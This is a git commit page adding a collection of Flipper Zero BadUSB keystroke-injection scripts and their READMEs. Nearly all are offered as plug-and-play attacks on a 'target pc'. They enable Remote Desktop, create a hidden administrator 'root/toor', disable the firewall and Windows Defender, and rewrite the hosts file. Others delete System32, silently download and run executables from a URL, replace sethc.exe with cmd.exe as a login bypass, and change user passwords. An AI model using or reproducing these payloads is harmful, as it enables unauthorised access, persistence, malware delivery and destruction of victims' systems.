mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2026-09-18 19:11:30 +00:00
Adding lost UNC0V3R3D BadUSB Collection
This commit is contained in:
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Activates Remote Desktop.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1200
|
||||
ALT y
|
||||
DELAY 1200
|
||||
GUI UP
|
||||
DELAY 1200
|
||||
STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,44 @@
|
||||
|
||||
# ActivateRDP
|
||||
|
||||
This script enables Remote Desktop connections and requires RDP authentication, so it opens the necessary firewall ports to allow incoming connections.
|
||||
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is easy to use. Plug the Flipper in and run the script.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- allows remote connections
|
||||
- enables RDP authentication
|
||||
- allow incoming remote connections
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Changes the Windows 10 username to the name of your choice.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 560
|
||||
LEFTARROW
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 700
|
||||
STRING $User = ([Environment]::UserName)
|
||||
DELAY 300
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING Rename-LocalUser -Name $User -NewName "New Name"
|
||||
DELAY 300
|
||||
ENTER
|
||||
DELAY 500
|
||||
exit
|
||||
ENTER
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
|
||||
# ChangeWinUsername
|
||||
|
||||
This script simply changes the Windows Username.
|
||||
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You need to replace "New Name" to any name you want right here: "STRING Rename-LocalUser -Name $User -NewName "New Name""
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- change windows username
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Create a new Windows-User with Admin perms.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 560
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 560
|
||||
ALT y
|
||||
DELAY 300
|
||||
STRING Net User root toor /ADD;Net LocalGroup Administrators root /ADD;Net LocalGroup Administrator root /ADD;Net LocalGroup Administratoren root /ADD;reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v root /t REG_DWORD /d 0 /f; exit
|
||||
ENTER
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
|
||||
# Create_New_Windows_Admin
|
||||
|
||||
This script creates a new windows admin user on the target pc.
|
||||
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. After the new user is created you need to use the username "root" and the password "toor" to login.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- create new admin user
|
||||
- create name "root"
|
||||
- create password "toor"
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Poisons the DNS Cache. (https://www.cloudflare.com/learning/dns/dns-cache-poisoning/)
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 750
|
||||
WINDOWS r
|
||||
DELAY 800
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 870
|
||||
ALT y
|
||||
DELAY 790
|
||||
STRING $redirectionAddress="IP ADRESS HERE";$redirectedSite="URL HERE";$hosts1 = $redirectionAddress + ' ' + $redirectedSite + ([Environment]::NewLine);$hosts2 = $redirectionAddress + ' www.' + $redirectedSite;$hoststotal = $hosts1 + $hosts2;[io.file]::writealltext("C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS", $hoststotal); exit
|
||||
ENTER
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
|
||||
# DNS_Cache_Poison
|
||||
|
||||
This script modifies the "hosts" file on a Windows operating system. You can change ip adresses of resolved domain names to open facebook.com instead of google.com when you search it for example.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change rediraction adress "$redirectionAddress="IP ADRESS HERE""
|
||||
- change rediraction url "$redirectedSite="URL HERE""
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- change content of "hosts" file
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Delete Microsoft Edge, Chrome, Opera and Firefox from the target pc.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 800
|
||||
WINDOWS d
|
||||
DELAY 800
|
||||
WINDOWS r
|
||||
DELAY 800
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 800
|
||||
STRING Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {($_.DisplayName -like "Microsoft Edge") -or ($_.DisplayName -like "Mozilla Firefox") -or ($_.DisplayName -like "Google Chrome") -or ($_.DisplayName -like "Opera*")} | ForEach-Object {Uninstall-package $_.PSChildName -Verbose}
|
||||
DELAY 200
|
||||
ENTER
|
||||
DELAY 1200
|
||||
STRING exit
|
||||
ENTER
|
||||
@@ -0,0 +1,43 @@
|
||||
|
||||
# Delete Browsers
|
||||
|
||||
This script deletes these browsers: Chrome, Edge, Opera and Firefox
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. Just plug the Flipper in and run the script.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- delete browsers
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
REM Title:32 wants the D
|
||||
REM Author: FalsePhilosopher
|
||||
REM Target: Win, tested on 10
|
||||
REM Props: Hak5, my friends and memes
|
||||
REM Version: 1.0
|
||||
REM Category: Prank
|
||||
REM D as in DELETE! Deletes System32.
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING cmd
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 2000
|
||||
ALT y
|
||||
DELAY 1500
|
||||
STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q *
|
||||
ENTER
|
||||
@@ -0,0 +1,46 @@
|
||||
# Original repo
|
||||
https://github.com/FalsePhilosopher/badusb/tree/main/destructive/Win/Delete32
|
||||
|
||||
# 32 Wants the D
|
||||
|
||||
This script deletes the system 32 folder. Be careful!
|
||||
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. I am not responsible for any damage.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- delete system 32
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Disables the Windows-Firewall.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 850
|
||||
WINDOWS r
|
||||
DELAY 900
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 900
|
||||
ALT y
|
||||
DELAY 900
|
||||
STRING netsh advfirewall set allprofiles state off; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,43 @@
|
||||
|
||||
# DisableFirewall
|
||||
|
||||
This script disables the windows firewall.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. Just plug the Flipper in and run the script.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- disable windows firewall
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Disables Windows Defender.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 1500
|
||||
CTRL ESC
|
||||
DELAY 750
|
||||
STRING windows security
|
||||
DELAY 250
|
||||
ENTER
|
||||
DELAY 1000
|
||||
ENTER
|
||||
DELAY 500
|
||||
TAB
|
||||
DELAY 100
|
||||
TAB
|
||||
DELAY 100
|
||||
TAB
|
||||
DELAY 100
|
||||
TAB
|
||||
DELAY 100
|
||||
ENTER
|
||||
DELAY 500
|
||||
SPACE
|
||||
DELAY 1000
|
||||
ALT y
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 1000
|
||||
ALT y
|
||||
DELAY 1000
|
||||
STRING Add-MpPreference -ExclusionPath “C:”
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING EXIT
|
||||
ENTER
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
|
||||
# Disable_WinDefender
|
||||
|
||||
This script disables the windows defender until the pc is restarted.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play.
|
||||
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- disable windows defender
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 950
|
||||
WINDOWS r
|
||||
DELAY 650
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 850
|
||||
ALT y
|
||||
DELAY 1200
|
||||
STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,45 @@
|
||||
|
||||
# DownloadAnyEXE
|
||||
|
||||
This script downloads an exe from an url that you will have to provide, then it executes the exe file.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change url for the .exe file "$url = "URL TO EXE""
|
||||
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- download .exe from url
|
||||
- execute downloaded .exe
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
REM Author: hell0
|
||||
REM Description: Downloads an .exe file from the URL and runs it on the target pc.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
REM Target: All Windows
|
||||
DELAY 500
|
||||
GUI d
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell.exe
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI d
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
|
||||
# Invisible_DownExec
|
||||
|
||||
This script invisibly downloads an exe from an url that you will have to provide, then it executes the exe file.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change url for the .exe file "-Uri 'https://yoursite.com/your_executable.exe'"
|
||||
- change name of the .exe file "-OutFile 'your_executable.exe'"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell invisble
|
||||
- download .exe from url
|
||||
- execute downloaded .exe
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
REM Author: hell0
|
||||
REM Description: Downloads an .zip file from the URL, extract and runs it on the target pc.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
REM Target: All Windows
|
||||
DELAY 500
|
||||
GUI d
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell.exe
|
||||
ENTER
|
||||
DELAY 2000
|
||||
STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/zipfile.jpg' -OutFile 'zipfile.zip'; Expand-Archive zipfile.zip; Start-Process -FilePath '.\zipfile\your_executable.exe'; exit" -WindowStyle Hidden; exit
|
||||
ENTER
|
||||
DELAY 500
|
||||
GUI d
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
|
||||
# Invisible_DownExec_Zip_Extract
|
||||
|
||||
This script invisibly downloads an .zip file from the URL, extracts and runs it on the target pc.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change url for the .zip file "-Uri 'https://yoursite.com/zipfile.jpg'"
|
||||
- change name of the .zip file "-OutFile 'zipfile.zip'"
|
||||
- change path of the .exe in the extracted folder "-FilePath '.\zipfile\your_executable.exe'"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell invisble
|
||||
- download .zip from url
|
||||
- extract .zip file
|
||||
- run exe from .zip file
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Open any TCP or UDP Port on the target PC.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 850
|
||||
WINDOWS r
|
||||
DELAY 850
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 800
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 900
|
||||
ALT y
|
||||
DELAY 900
|
||||
STRING netsh advfirewall firewall add rule name=Firewall entry name dir=in action=allow protocol=TCP or UDP localport=Port Number; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,46 @@
|
||||
|
||||
# OpenAnyPort
|
||||
|
||||
This script adds a firewall rule to the Windows Advanced Firewall that allows incoming traffic over TCP or UDP on a specific port number.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- choose protocol "protocol=TCP or UDP"
|
||||
- change localport "localport=Port Number"
|
||||
- choose entry name "name=Firewall entry name"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- create new entry
|
||||
- allow port to receive traffic
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Remove any Windows Update. Please put in the update number you want to remove. Example: KB27475
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1500
|
||||
ALT y
|
||||
DELAY 1500
|
||||
GUI UP
|
||||
DELAY 1500
|
||||
STRING $input="UPDATE NUMBER";$input = $input.Replace('KB', '');$cmdString = 'wusa /quiet /norestart /uninstall /kb:' + $input;Invoke-Expression -Command $cmdString; exit
|
||||
ENTER
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
|
||||
# RemoveWindowsUpdate
|
||||
|
||||
This script uninstalls a Windows update that has been previously installed on the system.
|
||||
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change update number "$input="UPDATE NUMBER""
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- find update by number
|
||||
- uninstall update
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Connect to a Wifi (example Evil Twin) to sniff packets or what you wanna do.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1200
|
||||
ALT y
|
||||
DELAY 1200
|
||||
GUI UP
|
||||
DELAY 1200
|
||||
STRING netsh wlan set hostednetwork ssid=WLAN NAME key=PASSWORD;netsh wlan start hostednetwork; exit
|
||||
ENTER
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
|
||||
# StartWifiAccessPoint
|
||||
|
||||
This script sets up a hosted wireless network on a computer running Windows.
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- choose name of wifi "ssid=WLAN NAME"
|
||||
- choose password of the wifi "key=PASSWORD"
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- create new wifi by ssid
|
||||
- set password for wifi
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 750
|
||||
LEFTARROW
|
||||
ENTER
|
||||
DELAY 1500
|
||||
ALT y
|
||||
DELAY 1500
|
||||
GUI UP
|
||||
DELAY 1500
|
||||
STRING copy c:\windows\system32\sethc.exe c:\;$acl = Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("Jeder","FullControl","Allow");$AccessRule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","Allow");$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit
|
||||
ENTER
|
||||
@@ -0,0 +1,37 @@
|
||||
|
||||
# StickyKeysSWAP
|
||||
|
||||
This script modifies the system file "sethc.exe" on a computer running Windows by adding full control access rules for "Everyone", replacing the file with the "cmd.exe" file, and setting the access control list of the file to the modified access control list.
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is plug and play. Just plug in the Flipper and run the script.
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- replace cmd.exe
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
|
||||
# setWinPass
|
||||
|
||||
This script sets the password for the current user on windows.
|
||||
|
||||
|
||||
## How to use?
|
||||
|
||||
This script is not plug and play. You will have to do the following changes:
|
||||
|
||||
- change password to anything you like "$NewPassword = ConvertTo-SecureString "PASSWORD HERE""
|
||||
|
||||
|
||||
## Features
|
||||
|
||||
- open powershell
|
||||
- find current username
|
||||
- set new password for current user
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Feedback
|
||||
|
||||
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Support
|
||||
|
||||
For support, contact me via Discord "UNC0V3R3D#8662".
|
||||
|
||||
|
||||
## Meta
|
||||
|
||||
|
||||
- If you want to sponsor me on Patreon, the link is on my profile.
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
|
||||
REM Description: Change Widnows 10 user password.
|
||||
REM Version: 1.0
|
||||
REM Category: Execution
|
||||
DELAY 750
|
||||
WINDOWS d
|
||||
DELAY 1500
|
||||
WINDOWS r
|
||||
DELAY 1500
|
||||
STRING powershell Start-Process powershell -Verb runAs
|
||||
ENTER
|
||||
DELAY 560
|
||||
LEFTARROW
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 560
|
||||
STRING $User = ([Environment]::UserName)
|
||||
DELAY 200
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING $NewPassword = ConvertTo-SecureString "PASSWORD HERE" -AsPlainText -Force
|
||||
DELAY 300
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING Set-LocalUser -Name $User -Password $NewPassword
|
||||
DELAY 300
|
||||
ENTER
|
||||
DELAY 600
|
||||
STRING exit
|
||||
ENTER
|
||||
Reference in New Issue
Block a user